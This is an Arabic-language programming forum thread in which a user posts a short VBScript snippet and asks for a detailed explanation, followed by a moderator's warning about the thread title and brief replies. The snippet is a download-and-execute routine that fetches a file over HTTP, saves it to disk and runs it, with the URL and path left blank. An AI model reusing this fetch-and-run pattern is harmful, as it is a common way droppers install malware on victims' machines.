السلام عليكم و رحمة الله و بركاته
اخواني ممكن تشرحوا لي هذا الكود بالتدقيق
Dim njn
Set njn = CreateObject("wscript.shell")
Dim ur
Dim fo
Dim jn
Dim nj
ur = ""
fo = ""
Set jn = CreateObject("MSXML2.XMLHTTP")
jn.Open "GET", ur, False
jn.send ("")
If jn.Status = 200 Then
Set nj = CreateObject("ADODB.Stream")
nj.Open
nj.Type = 1
nj.Write jn.ResponseBody
nj.Position = 0
nj.SaveToFile fo, 2
nj.Close
Set nj = Nothing
End If
Set jn = Nothing
njn.run (fo)
End Sub
تم تعديل هذه المشاركة بواسطة obelisk في 23 أغسطس 2010 في 21:52
الأخ الكريم/الأخت الكريمة
السلام عليكم ورحمة الله وبركاته
مرحباً بكم في منتدى الفريق العربي للبرمجة
نود تنبيهك أن العنوان غير مناسب.
الرجاء اختيار عنوان مناسب أكثر في مواضيعك القادمة، وهذا بمثابة إشعار للأهمية.
وفي حال التكرار سيتعرض موضوعك للإغلاق والحذف!!!
قواعد المشاركة
شاكرين لكم حُسن تعاونكم
سبحان الله وبحمده ... سبحان الله العظيم
و عليكم السلام و رحمة الله و بركاته
شكرا لك على التنبيه
تحياتي
بارك الله فيكم على التجاوب
منتدى احنبي فيه ااعضاء اجابوني بعد وضعي للموضوع بمدة قصيرة
تحياتي